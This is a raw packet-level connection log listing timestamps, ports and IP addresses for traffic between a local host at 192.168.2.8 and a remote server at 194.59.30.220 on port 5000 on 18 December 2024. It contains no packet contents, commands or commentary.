Dec 18, 2024 11:56:22.786808014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.788466930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.788543940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.789308071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.790266037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.790297985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.790577888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.792129040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.792170048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.792331934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.794050932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.794090033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.794132948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.796087027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.796127081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.796238899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.797394037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.797431946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.797689915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.799179077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.799221039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.799386978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.801013947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.801049948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.801281929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.802772045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.802784920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.802836895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.804650068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.804702997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.804718018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.806312084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.806363106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.806387901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.808124065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.808161974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.808166981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.810061932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.810122013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.810223103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.854662895 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.929188967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.929215908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.929348946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.931392908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.974354029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.974474907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.048721075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.089071989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.094100952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.135924101 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168175936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168199062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168267012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168278933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168291092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168301105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168307066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168313980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168325901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168339014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168348074 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168348074 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168359041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168370962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168380976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168385029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168391943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168404102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168407917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168415070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168426991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168437004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168479919 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168518066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168591976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168602943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168627024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168634892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168648958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168668032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168709993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168721914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168768883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.168802023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.168844938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.169483900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.169600964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.169614077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.169640064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.169646978 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.169652939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.169686079 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.170157909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170206070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.170258999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170300961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170310974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170341015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.170347929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170361042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.170392036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.171284914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171295881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171344995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171356916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171360016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.171386957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171387911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.171399117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171427011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171427965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.171438932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.171467066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.172183037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172194004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172230959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172230959 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.172271967 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.172272921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172323942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172334909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172365904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.172384977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172395945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.172425985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.173366070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173377991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173417091 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.173578978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173623085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.173724890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173760891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173772097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173793077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173803091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173815966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.173825026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173836946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.173840046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.173858881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.174870014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.174887896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.174916983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.174917936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.174927950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.174957037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.175048113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175059080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175091028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175091028 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.175103903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175131083 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.175940037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175951958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.175987005 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.176034927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.176053047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.176080942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.176083088 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.176093102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.176124096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.176162004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.176207066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.177192926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177223921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177267075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.177495956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177522898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177534103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177562952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.177611113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177623034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177645922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177658081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.177660942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.177686930 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.178750992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178770065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178791046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178801060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.178802013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178826094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.178834915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178845882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178868055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178878069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.178878069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.178905964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.179776907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179788113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179824114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.179848909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179868937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179893970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.179917097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179928064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179956913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.179974079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.179985046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.180016041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.180918932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.180929899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.180968046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.181173086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.181185007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.181207895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.181212902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.181250095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183139086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183197975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183212042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183223009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183240891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183250904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183252096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183286905 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183341026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183358908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183371067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183381081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183392048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183402061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183413029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183423042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183427095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183434963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183446884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.183448076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.183489084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184164047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184175968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184186935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184222937 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184256077 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184294939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184307098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184323072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184333086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184343100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184353113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184361935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184362888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184389114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184401035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184413910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184458971 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.184478045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184494972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.184537888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.185369015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185386896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185417891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185429096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185431957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.185451031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185462952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.185475111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.185499907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.186383963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186395884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186439037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.186517000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186528921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186558962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186569929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186588049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.186595917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186609983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.186625004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.186649084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.187205076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187360048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187411070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.187580109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187592030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187623024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187633991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187639952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.187668085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187679052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187681913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.187709093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.187716007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.188606977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188638926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188649893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188664913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.188677073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188683987 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.188690901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188713074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188724041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188735962 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.188745975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.188759089 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.189285994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189338923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.189502001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189512968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189533949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189546108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189563036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.189574957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189582109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.189588070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.189630985 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.190109015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190123081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190170050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.190382957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190396070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190445900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.190526009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190537930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190567017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190577984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190587044 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.190599918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190612078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.190624952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.190664053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.191278934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191291094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191346884 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.191417933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191431046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191461086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191473007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191478014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.191507101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:23.191518068 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:23.191519022 CET	5000	49706	194.59.30.220	192.168.2.8
